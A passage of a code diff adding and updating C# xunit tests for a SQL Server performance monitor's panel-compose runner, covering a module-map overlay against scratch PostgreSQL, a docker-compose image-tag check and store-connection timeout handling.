+            Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+            Assert.Equal(100 + 1000, ValueOf(raw, Database, "usp_Renamed"), 6);
+            Assert.Equal(10000, ValueOf(raw, Database, "usp_Fresh"), 6);
+        });
+    }
+
+    [Fact]
+    public async Task TwoServersReusingOneHandle_ForDifferentModules_EachReadItsOwn_AtFleetAndScopedRuns()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            await ProcAsync(store, ServerA, Database, "usp_A_Old", "0xH", h1.AddHours(2));
+            await ProcAsync(store, ServerB, Database, "usp_B", "0xH", h1.AddHours(2));
+            await ProcAsync(store, ServerA, Database, "usp_Filler", "0xW", h2.AddHours(-1));
+            await QsAsync(store, ServerA, Database, "HH", "0xH", h1.AddHours(4).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerB, Database, "HH", "0xH", h1.AddHours(4).AddMinutes(5), 1000, 300);
+            await QsAsync(store, ServerB, Database, "HH", "0xH", h2.AddMinutes(10), 10000, 300);
+            Assert.Equal(3, await store.RefreshMapAsync());
+
+            /* server A renames the module its handle names; server B's identical handle must keep B's module */
+            await ProcAsync(store, ServerA, Database, "usp_A_New", "0xH", h2.AddMinutes(20));
+            await store.RefreshAggregateAsync();
+
+            foreach (var scope in new string?[] { null, ServerA, ServerB })
+            {
+                var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject, scope);
+                AssertOverlayTaken(hybrid);
+                Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+                if (scope != ServerB)
+                {
+                    Assert.Equal(100, ValueOf(raw, Database, "usp_A_New"), 6);
+                    Assert.DoesNotContain(raw.OfType<JsonObject>(), r => r["object_name"]?.GetValue<string>() == "usp_A_Old");
+                }
+
+                if (scope != ServerA)
+                {
+                    Assert.Equal(1000 + 10000, ValueOf(raw, Database, "usp_B"), 6);
+                }
+            }
+        });
+    }
+
+    [Fact]
+    public void ThisClass_ReadsNoWallClock_AndNeverWaits()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "Darling.Tests", "ComposeHourlyRawEdgesModuleMapLiveTests.cs");
+        /* the needles are assembled so this pin does not match itself */
+        foreach (var needle in new[] { "Utc" + "Now", "Date" + "Time.Now", "Offset" + ".Now", "Task." + "Delay", "Thread." + "Sleep", "Time" + "Provider" })
+        {
+            Assert.DoesNotContain(needle, source, StringComparison.Ordinal);
+        }
+    }
+
+    /* ---- helpers ---- */
+
+    private static string HybridRows(JsonObject payload) => payload["rows"]!.ToJsonString();
+
+    /// <summary>The overlay route ran: the middle came from the interval table and the module names from the map plus the
+    /// recent overlay.</summary>
+    private static void AssertOverlayTaken(JsonObject payload)
+    {
+        Assert.Contains(Hybrid, (string)payload["sql"]!, StringComparison.Ordinal);
+        Assert.Contains(Overlay, (string)payload["sql"]!, StringComparison.Ordinal);
+    }
+
+    private static double ValueOf(JsonArray rows, string database, string objectName)
+    {
+        var row = rows.OfType<JsonObject>().Single(r =>
+            r["database_name"]?.GetValue<string>() == database && r["object_name"]?.GetValue<string>() == objectName);
+        /* the panel answers in its display unit (ms); the seeds are microseconds */
+        return row["value"]!.GetValue<double>() * 1000.0;
+    }
+
+    /// <summary>Runs one fact against its own store, tearing down through the shared cleanup helper: the scratch database
+    /// itself is dropped by the store's disposal, so the cleanup has no statements of its own.</summary>
+    private static async Task RunLiveAsync(Func<Store, Task> body)
+    {
+        await using var store = await StoreAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await body(store);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(store.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>Runs the panel through the runner and through a raw compile of the same window, and returns both payloads'
+    /// rows: the runner's payload, and the raw rows as a JSON array.</summary>
+    private static async Task<(JsonObject Hybrid, JsonArray Raw)> RunBothAsync(Store store, string panelJson, string? scope = null, bool relativeWindow = false)
+    {
+        var outcome = await RunAsync(store, panelJson, scope, relativeWindow);
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(store.DataSource, store.Ct);
+        var (plan, parseError) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(panelJson)!, Array.Empty<string>());
+        Assert.True(parseError is null, parseError);
+
+        /* the route must have been a candidate for exactly the hours this test computed, or the layout is wrong */
+        var candidate = ComposeSourceRouter.HourlyRawEdgesCandidate(plan!, store.Anchor, store.WindowStart, store.WindowEnd, rollups, coverage);
+        Assert.NotNull(candidate);
+        Assert.Equal(store.Layout.H1, candidate!.HourStartUtc);
+        Assert.Equal(store.Layout.H2, candidate.HourEndUtc);
+
+        var rawContext = new ComposeRunContext(scope is null ? null : new[] { scope }, store.WindowStart, store.WindowEnd, ComposeRunContext.NoVariables, rollups, store.Anchor, coverage);
+        var (compiled, compileError) = ComposeCompiler.Compile(plan!, rawContext);
+        Assert.True(compileError is null, compileError);
+        Assert.DoesNotContain("_interval_hourly", compiled!.Sql, StringComparison.Ordinal);
+
+        await using var connection = await store.DataSource.OpenConnectionAsync(store.Ct);
+        await using var command = new NpgsqlCommand(compiled.Sql, connection);
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        var rows = new JsonArray();
+        await using var reader = await command.ExecuteReaderAsync(store.Ct);
+        while (await reader.ReadAsync(store.Ct))
+        {
+            var row = new JsonObject();
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                row[reader.GetName(i)] = reader.IsDBNull(i) ? null : DarlingWebEndpoints.DbValueToJson(reader.GetValue(i));
+            }
+
+            rows.Add(row);
+        }
+
+        Assert.NotEmpty(rows);
+        return (outcome.Payload!, rows);
+    }
+
+    /// <summary>Runs the panel at the store's anchor. By default the window is the explicit pair; with
+    /// <paramref name="relativeWindow"/> the body carries <c>hours = 24</c> instead, and the runner computes the same window
+    /// itself (end = the anchor, start = 24 h before it). A scope puts the server name in the body's <c>server</c> field.</summary>
+    private static async Task<DarlingWebEndpoints.ComposeRunOutcome> RunAsync(Store store, string panelJson, string? scope = null, bool relativeWindow = false)
+    {
+        var body = new JsonObject { ["panel"] = JsonNode.Parse(panelJson) };
+        if (relativeWindow)
+        {
+            body["hours"] = 24;
+        }
+        else
+        {
+            body["windowStart"] = DateTime.SpecifyKind(store.WindowStart, DateTimeKind.Unspecified).ToString("o", CultureInfo.InvariantCulture);
+            body["windowEnd"] = DateTime.SpecifyKind(store.WindowEnd, DateTimeKind.Unspecified).ToString("o", CultureInfo.InvariantCulture);
+        }
+
+        if (scope is not null)
+        {
+            body["server"] = scope;
+        }
+
+        /* #4605: the count guard reads the hour ledger, and these facts plant raw rows with direct INSERTs that write none. Right
+           before the panel runs, play the writer: recount the ledger from raw over every hour the facts plant into, and move
+           counted_since below them (the V164 rung sets it to the next wall-clock hour, after this fixed past anchor). A row a fact
+           planted AFTER its refresh is then in the ledger and not in the rollup, as the writer would leave it, so the guard fails. */
+        await store.SeedLedgerAsync();
+        return await DarlingWebEndpoints.RunComposedPanelAsync(store.DataSource, body, store.Ct, nowUtc: store.Anchor);
+    }
+
+    /// <summary>One non-restart row per hour in [h1, h2), on the anchor group, so the successor has a bucket at h1 and a
+    /// measured ceiling at h2.</summary>
+    private static async Task SeedAnchorAsync(Store store)
+    {
+        for (var h = store.Layout.H1; h < store.Layout.H2; h = h.AddHours(1))
+        {
+            await QsAsync(store, ServerA, "AnchorDb", "HA", "0xA", h.AddMinutes(30), 1000, 300);
+        }
+    }
+
+    private static async Task QsAsync(Store store, string server, string database, string hash, string handle, DateTime at, long worker, int? interval)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $8, 1, $9)", store.Connection);
+        insert.Parameters.AddWithValue(Interlocked.Increment(ref s_collectionId));
+        insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+        insert.Parameters.AddWithValue(server == ServerA ? ServerIdA : ServerIdB);
+        insert.Parameters.AddWithValue(server);
+        insert.Parameters.AddWithValue(database);
+        insert.Parameters.AddWithValue(hash);
+        insert.Parameters.AddWithValue(handle);
+        insert.Parameters.AddWithValue(worker);
+        insert.Parameters.AddWithValue(interval is int value ? value : DBNull.Value);
+        await insert.ExecuteNonQueryAsync(store.Ct);
+    }
+
+    private static async Task ProcAsync(Store store, string server, string database, string objectName, string handle, DateTime at, long workerTime = 1)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, $8, $8, 1, 300)", store.Connection);
+        insert.Parameters.AddWithValue(Interlocked.Increment(ref s_collectionId));
+        insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+        insert.Parameters.AddWithValue(server == ServerA ? ServerIdA : ServerIdB);
+        insert.Parameters.AddWithValue(server);
+        insert.Parameters.AddWithValue(database);
+        insert.Parameters.AddWithValue(objectName);
+        insert.Parameters.AddWithValue(handle);
+        insert.Parameters.AddWithValue(workerTime);
+        await insert.ExecuteNonQueryAsync(store.Ct);
+    }
+
+    private static async Task<Store> StoreAsync(DateTime? anchor = null)
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the #4605 module-map overlay live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var at = anchor ?? Anchor;
+        var layout = Layout.For(at);
+
+        var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        NpgsqlConnection? connection = null;
+        NpgsqlDataSource? dataSource = null;
+        try
+        {
+            connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+            Assert.SkipWhen(!timescaleEnabled, "The hourly-raw-edges route reads a continuous aggregate: TimescaleDB is required.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerA, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerB, ct);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+            Assert.True(await DarlingModuleMap.EnsureTableAsync(connection, null, ct));
+
+            /* a FRESH data source per fact: the rollup and coverage probe is cached per data source */
+            dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            return new Store(scratch, connection, dataSource, at, layout, ct);
+        }
+        catch
+        {
+            if (dataSource is not null)
+            {
+                await dataSource.DisposeAsync();
+            }
+
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
+
+            await scratch.DisposeAsync();
+            throw;
+        }
+    }
+
+    private static DateTime FloorHour(DateTime value) => new(value.Year, value.Month, value.Day, value.Hour, 0, 0, DateTimeKind.Utc);
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        public Store(ScratchPostgres scratch, NpgsqlConnection connection, NpgsqlDataSource dataSource, DateTime anchor, Layout layout, CancellationToken ct)
+        {
+            _scratch = scratch;
+            Connection = connection;
+            DataSource = dataSource;
+            Layout = layout;
+            Ct = ct;
+            /* the window: 24 h ending at the anchor, so the test and the runner bind the same instants */
+            Anchor = anchor;
+            WindowEnd = anchor;
+            WindowStart = anchor.AddHours(-24);
+        }
+
+        public string ConnectionString => _scratch.ConnectionString;
+        public NpgsqlConnection Connection { get; }
+        public NpgsqlDataSource DataSource { get; }
+        public DateTime Anchor { get; }
+        public Layout Layout { get; }
+        public CancellationToken Ct { get; }
+        public DateTime WindowStart { get; }
+        public DateTime WindowEnd { get; }
+
+        /// <summary>Materializes the successor (or the one named) for every whole hour before h2.</summary>
+        public async Task RefreshAggregateAsync(string view = TimescaleSupport.QueryStatsIntervalHourlyView)
+        {
+            await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", Connection);
+            refresh.Parameters.AddWithValue(DateTime.SpecifyKind(Layout.H1.AddHours(-2), DateTimeKind.Unspecified));
+            refresh.Parameters.AddWithValue(DateTime.SpecifyKind(Layout.H2, DateTimeKind.Unspecified));
+            await refresh.ExecuteNonQueryAsync(Ct);
+        }
+
+        /// <summary>Runs the map's hourly refresh against the anchor as its clock and returns the rows it upserted.</summary>
+        public Task<int> RefreshMapAsync() => DarlingModuleMap.RefreshRecentAsync(Connection, null, Anchor, Ct);
+
+        public Task<DateTime?> WatermarkAsync() => DarlingModuleMap.ReadWatermarkAsync(Connection, Ct);
+
+        public async Task DeleteStateRowAsync()
+        {
+            await using var delete = new NpgsqlCommand("DELETE FROM collect.module_map_state", Connection);
+            Assert.Equal(1, await delete.ExecuteNonQueryAsync(Ct));
+        }
+
+        public async Task<string?> MapObjectNameAsync(string server, string handle)
+        {
+            await using var read = new NpgsqlCommand("SELECT object_name FROM collect.module_map WHERE server_name = $1 AND sql_handle = $2", Connection);
+            read.Parameters.AddWithValue(server);
+            read.Parameters.AddWithValue(handle);
+            return await read.ExecuteScalarAsync(Ct) as string;
+        }
+
+        /// <summary>Makes the hour ledger what the collector's writer would have made it for the hours the facts plant into
+        /// (<see cref="QueryStatsLedgerSeed.SeedAsync"/>). The scratch database is dropped whole, so the ledger needs no cleanup.</summary>
+        public Task SeedLedgerAsync() => QueryStatsLedgerSeed.SeedAsync(Connection, Layout.H1.AddDays(-2), Layout.H2.AddDays(2), Ct);
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await Connection.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeImageTagTests.cs b/Darling/Darling.Tests/ComposeImageTagTests.cs
new file mode 100644
index 0000000000..9f31a5b4b4
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeImageTagTests.cs
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5629: the compose quickstart's <c>darling</c> service names the <c>:latest</c> image. It named
+/// <c>:nightly</c> after 3.4.0, so a release user who followed the README's compose steps ran the newest dev
+/// build. The release job pushes <c>:&lt;version&gt;</c> and <c>:latest</c> (never <c>:nightly</c>), and a
+/// version pin would break the quickstart on <c>dev</c>, because the next version's image does not exist
+/// until the release ships. So the tag must be exactly <c>latest</c>.
+///
+/// <para>Reads the REAL compose file, copied beside the test binary by the csproj (the same fixture
+/// <see cref="ComposeDarlingHealthcheckTests"/> reads), and is itself guarded:
+/// <see cref="TheTagParse_ReportsNightly_WhenTheFileNamesIt"/> runs the identical parse over a mutated copy, so
+/// a parse that silently matched nothing can never pass.</para>
+/// </summary>
+public sealed class ComposeImageTagTests
+{
+    private const string ImageRepository = "ghcr.io/erikdarlingdata/performancemonitor-darling";
+
+    [Fact]
+    public void TheDarlingService_NamesTheLatestImage()
+    {
+        var image = ParseDarlingImage(ReadComposeFile());
+
+        Assert.Equal($"{ImageRepository}:latest", image);
+    }
+
+    [Fact]
+    public void TheTagParse_ReportsNightly_WhenTheFileNamesIt()
+    {
+        var mutated = ReadComposeFile().Replace(
+            $"{ImageRepository}:latest", $"{ImageRepository}:nightly", StringComparison.Ordinal);
+
+        Assert.Equal($"{ImageRepository}:nightly", ParseDarlingImage(mutated));
+    }
+
+    /// <summary>
+    /// The value of the <c>darling</c> service's <c>image:</c> key (four-space indent), from the service's
+    /// <c>  darling:</c> line to the next key at two-space indent.
+    /// </summary>
+    private static string ParseDarlingImage(string composeText)
+    {
+        var lines = composeText.Replace("\r\n", "\n", StringComparison.Ordinal).Split('\n');
+        var start = Array.FindIndex(lines, line => line == "  darling:");
+        Assert.True(start >= 0, "docker-compose.yml no longer has a `darling` service at two-space indent.");
+
+        var block = lines.Skip(start + 1)
+            .TakeWhile(line => line.Trim().Length == 0 || line.TrimStart().StartsWith('#')
+                || line.Length - line.TrimStart().Length > 2);
+        var matches = block.Select(line => Regex.Match(line, @"^    image:\s*(\S+)\s*$"))
+            .Where(m => m.Success).ToList();
+        Assert.True(matches.Count == 1,
+            "docker-compose.yml's darling service no longer has exactly one `image:` key at four-space indent.");
+
+        return matches[0].Groups[1].Value;
+    }
+
+    private static string ReadComposeFile()
+    {
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", "docker-compose.yml");
+        Assert.True(File.Exists(path),
+            "docker-compose.yml was not copied beside the test binary. Darling.Tests.csproj links it into "
+            + "Fixtures\\ so this guard parses the real file; restore that item rather than pointing the "
+            + "test at a copy that can go stale.");
+        return File.ReadAllText(path);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeOpenPhaseTimeoutTests.cs b/Darling/Darling.Tests/ComposeOpenPhaseTimeoutTests.cs
new file mode 100644
index 0000000000..213a436c24
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeOpenPhaseTimeoutTests.cs
@@ -0,0 +1,180 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605 review round 2: drives the OPEN phase of a compose run for real. A listener that accepts a TCP
+/// connection and never answers makes Npgsql's connect/startup time out, which the runner must answer as a
+/// store-connection failure (a server error), never as the author-facing statement-timeout text. No
+/// PostgreSQL is needed.
+/// </summary>
+public sealed class ComposeOpenPhaseTimeoutTests
+{
+    private const string PanelJson = "{\"panel\":{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"day\",\"viz\":\"line\"}}";
+
+    private sealed class SilentListener : IDisposable
+    {
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly List<TcpClient> _clients = [];
+        private readonly CancellationTokenSource _stop = new();
+        private readonly Task _loop;
+
+        public SilentListener()
+        {
+            _listener.Start();
+            _loop = Task.Run(async () =>
+            {
+                try
+                {
+                    while (!_stop.IsCancellationRequested)
+                    {
+                        var client = await _listener.AcceptTcpClientAsync(_stop.Token);
+                        lock (_clients)
+                        {
+                            _clients.Add(client);
+                        }
+                    }
+                }
+                catch (OperationCanceledException)
+                {
+                    /* Disposal. */
+                }
+                catch (ObjectDisposedException)
+                {
+                    /* Disposal. */
+                }
+            });
+        }
+
+        public int Port => ((IPEndPoint)_listener.LocalEndpoint).Port;
+
+        public string ConnectionString => $"Host=127.0.0.1;Port={Port};Username=x;Password=x;Database=x;Timeout=1;Pooling=false";
+
+        public void Dispose()
+        {
+            _stop.Cancel();
+            _listener.Stop();
+            try
+            {
+                _loop.Wait(TimeSpan.FromSeconds(5));
+            }
+            catch (AggregateException)
+            {
+                /* Accept loop ended by disposal. */
+            }
+
+            lock (_clients)
+            {
+                foreach (var client in _clients)
+                {
+                    client.Dispose();
+                }
+            }
+
+            _stop.Dispose();
+        }
+    }
+
+    /// <summary>Every level of the chain the compose runner caught: type, message, and the socket code or HResult that
+    /// says what the operating system did.</summary>
+    private static string DescribeChain(Exception? ex)
+    {
+        var sb = new System.Text.StringBuilder("exception chain:");
+        for (var level = ex; level is not null; level = level.InnerException)
+        {
+            sb.Append(System.Globalization.CultureInfo.InvariantCulture, $"{Environment.NewLine}  {level.GetType().FullName}: {level.Message}");
+            if (level is System.Net.Sockets.SocketException se)
+            {
+                sb.Append(System.Globalization.CultureInfo.InvariantCulture, $" [SocketErrorCode={se.SocketErrorCode}]");
+            }
+
+            if (level is System.IO.IOException)
+            {
+                sb.Append(System.Globalization.CultureInfo.InvariantCulture, $" [HResult=0x{level.HResult:X8}]");
+            }
+        }
+
+        return sb.ToString();
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task ASilentStore_IsAServerError_NotTheStatementTimeoutText(bool remapClientTimeout)
+    {
+        using var listener = new SilentListener();
+        await using var store = NpgsqlDataSource.Create(listener.ConnectionString);
+        var body = (JsonObject)JsonNode.Parse(PanelJson)!;
+
+        Exception? thrown = null;
+        var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(
+            store, body, TestContext.Current.CancellationToken, null, DarlingWebEndpoints.ComposeClientDeadlineHeadroomSeconds, remapClientTimeout: remapClientTimeout,
+            onRunException: ex => thrown = ex);
+
+        Assert.True(outcome.IsServerError, outcome.Error);
+        /* The same prefix assertion, with the whole text as the failure message: xunit cuts a StartsWith failure after about
+           fifty characters, which hid the cause when this failed on a loaded runner. */
+        Assert.True(outcome.Error!.StartsWith("Error running query: could not get a store connection in time: ", StringComparison.Ordinal), outcome.Error + Environment.NewLine + DescribeChain(thrown));
+        Assert.NotEqual(DarlingWebEndpoints.StatementTimeoutText, outcome.Error);
+        Assert.NotEqual("57014", outcome.AuthorSqlState);
+    }
+
+    [Fact]
+    public async Task ASilentStore_AnswersTheComposeRoute_WithA500_NotA400CarryingTheTimeoutText()
+    {
+        using var listener = new SilentListener();
+        await using var store = NpgsqlDataSource.Create(listener.ConnectionString);
+        var ct = TestContext.Current.CancellationToken;
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions());
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(store);
+
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, store, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+
+        var httpContext = await server.SendAsync(request =>
+        {
+            request.Request.Method = "POST";
+            request.Request.Path = "/api/compose/run";
+            request.Request.Headers.Host = "localhost";
+            request.Request.ContentType = "application/json";
+            request.Request.Body = new System.IO.MemoryStream(Encoding.UTF8.GetBytes(PanelJson));
+        }, ct);
+
+        var text = await new System.IO.StreamReader(httpContext.Response.Body).ReadToEndAsync(ct);
+        Assert.Equal(StatusCodes.Status500InternalServerError, httpContext.Response.StatusCode);
+        Assert.DoesNotContain("statement timeout", text, StringComparison.OrdinalIgnoreCase);
+        await app.StopAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeParameterCoverageTests.cs b/Darling/Darling.Tests/ComposeParameterCoverageTests.cs
index 69f839a4f5..ce19737023 100644
--- a/Darling/Darling.Tests/ComposeParameterCoverageTests.cs
+++ b/Darling/Darling.Tests/ComposeParameterCoverageTests.cs
@@ -152,10 +152,32 @@ public sealed class ComposeParameterCoverageTests
     internal static int PredictedParameterCount(PanelPlan plan, bool serverScoped, ComposeRunContext context) =>
         2
         + (serverScoped ? 1 : 0)
+        + (serverScoped && context.UnregisteredServers is { Count: > 0 } ? 1 : 0)
         + (PredictsWideStartBind(plan, context) ? 1 : 0)
+        + (PredictsStampThroughBind(plan, context) ? 1 : 0)
+        + (PredictsHourlyEdgesBinds(plan, context) ? 2 : 0)
+        + (PredictsModuleOverlayFloorBind(plan, context) ? 1 : 0)
         + plan.Filters.Count
         + (plan.Mode is PanelMode.Ranked or PanelMode.RankedTimeSeries ? 1 : 0);
 
+    /// <summary>The hourly-raw-edges rule from intent alone: a verdict was supplied and it equals the router's
+    /// candidate for this run, so the compiler binds the two edge instants. Not read back from the compiler's parameters.</summary>
+    internal static bool PredictsHourlyEdgesBinds(PanelPlan plan, ComposeRunContext context) =>
+        context.HourlyEdges is { } verdict
+        && ComposeSourceRouter.HourlyRawEdgesCandidate(
+            plan, context.NowUtc, context.StartUtc, context.EndUtc, context.Rollups, context.Coverage) is { } candidate
+        && ComposeSourceRouter.Resolve(plan, context.NowUtc, context.StartUtc, context.Rollups, context.Coverage).Tier == ComposeSourceTier.Raw
+        && verdict.SourceTable == candidate.SourceTable
+        && verdict.HourStartUtc == candidate.HourStartUtc
+        && verdict.HourEndUtc == candidate.HourEndUtc;
+
+    /// <summary>The module-overlay rule from intent alone: the run takes the hourly-raw-edges route, the plan joins modules and a
+    /// module map watermark no later than the run's now was supplied, so the compiler binds the overlay floor. Not read back from the compiler's parameters.</summary>
+    internal static bool PredictsModuleOverlayFloorBind(PanelPlan plan, ComposeRunContext context) =>
+        context.ModuleMapThrough is { } through && through <= context.NowUtc
+        && plan.UsesModuleJoin
+        && PredictsHourlyEdgesBinds(plan, context);
+
     /// <summary>The #4689 rule from intent alone: a wide-eligible run whose common start is later than the
     /// window start, reading the Query Store table. Not read back from the compiler's parameters.</summary>
     internal static bool PredictsWideStartBind(PanelPlan plan, ComposeRunContext context) =>
@@ -164,18 +186,28 @@ internal static bool PredictsWideStartBind(PanelPlan plan, ComposeRunContext con
         && wideStart > context.StartUtc
         && string.Equals(plan.Measure.SourceTable, "query_store_stats", StringComparison.Ordinal);
 
+    /// <summary>The #5582 part 3 rule from intent alone: a wide-eligible Query Store run whose stamp instant is later than the wide read's
+    /// start (the later of the window start and the common start), for an aggregate that decomposes, binds <c>$stampThrough</c> once.
+    /// Not read back from the compiler's parameters.</summary>
+    internal static bool PredictsStampThroughBind(PanelPlan plan, ComposeRunContext context) =>
+        context.QueryStoreWideEligible
+        && context.QueryStoreStampThrough is DateTime through
+        && through > (PredictsWideStartBind(plan, context) ? context.QueryStoreWideStart!.Value : context.StartUtc)
+        && string.Equals(plan.Measure.SourceTable, "query_store_stats", StringComparison.Ordinal)
+        && plan.Aggregate != ComposeAggregate.PercentileCont;
+
     /// <summary>
     /// The same prediction for an annotation query, whose parameter set is the window plus the optional
     /// server scope: the catalog supplies its table, time column and label column as compiler constants. A
     /// server-local source adds the four arrays of per-server offset stretches (#4821: server names, local
     /// start, local end, offset), and never binds the server list a second time.
     /// </summary>
-    internal static int PredictedAnnotationParameterCount(bool serverScoped, bool serverLocal = false) =>
-        2 + (serverScoped ? 1 : 0) + (serverLocal ? 4 : 0);
+    internal static int PredictedAnnotationParameterCount(bool serverScoped, bool serverLocal = false, bool unregistered = false) =>
+        2 + (serverScoped ? 1 : 0) + (serverScoped && unregistered ? 1 : 0) + (serverLocal ? 4 : 0);
 
     /// <summary>The server clock read that comes before a server-local annotation query binds only the
     /// optional server scope.</summary>
-    internal static int PredictedServerClockReadParameterCount(bool serverScoped) => serverScoped ? 1 : 0;
+    internal static int PredictedServerClockReadParameterCount(bool serverScoped, bool unregistered = false) => (serverScoped ? 1 : 0) + (serverScoped && unregistered ? 1 : 0);
 
     /* ───────────────────────── the corpus sweep ───────────────────────── */
 
@@ -333,13 +365,13 @@ compiler is built on — look like the defect. */
     /// <summary>
     /// <see cref="PredictedParameterCount"/> restates a rule that lives in another file, so it can be
     /// outgrown. This counts the <c>ParamList</c> call sites in <c>ComposeCompiler.cs</c> and pins the
-    /// total: twenty-one, which is the three window/scope binds and one <c>topN</c> per ranked arm in
-    /// <c>Compile</c>, the Query Store wide-start bind in <c>Compile</c> when the run reads the interval table
+    /// total: twenty-four, which is the three window/scope binds and one <c>topN</c> per ranked arm in
+    /// <c>Compile</c>, the two edge-instant binds in <c>Compile</c> when the run takes the hourly-raw-edges route, the module-overlay floor bind in <c>Compile</c> when that route joins modules from the module map, the Query Store wide-start bind in <c>Compile</c> when the run reads the interval table
     /// from a later start, the seven <c>BuildFilterClause</c> operator arms, the three window/scope binds in
     /// <c>CompileAnnotation</c>, the four offset-stretch arrays in <c>ServerLocalRangeJoin</c> and the server
     /// scope in <c>CompileServerClockRead</c> (#4821; both predicted above).
     ///
-    /// <para>A twenty-second is the "next site someone adds" case, and it reds HERE — where the fix is to decide
+    /// <para>A twenty-fifth is the "next site someone adds" case, and it reds HERE — where the fix is to decide
     /// whether the prediction grows with it — rather than in the sweep, where it would read as a compiler
     /// bug. Comments and string literals are stripped first, because this file's reasoning names
     /// <c>p.AddTextArray</c> in prose.</para>
@@ -358,7 +390,8 @@ public void ThePredictionCoversEveryBindingSite_InTheCompiler()
         var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(path));
         var sites = Regex.Matches(code, @"\bp\.Add[A-Za-z]+\s*\(").Count;
 
-        Assert.Equal(21, sites);
+        /* 28: the 27 before #5582 part 3, plus the one $stampThrough bind, folded into the rule as PredictsStampThroughBind. */
+        Assert.Equal(28, sites);
     }
 
     /// <summary>
@@ -547,6 +580,97 @@ placeholder and nothing about the filter itself looks wrong. */
             }
         }
 
+        /* #5582 part 3: the same Query Store statements with a stamp instant. One later than the wide read's start binds one more
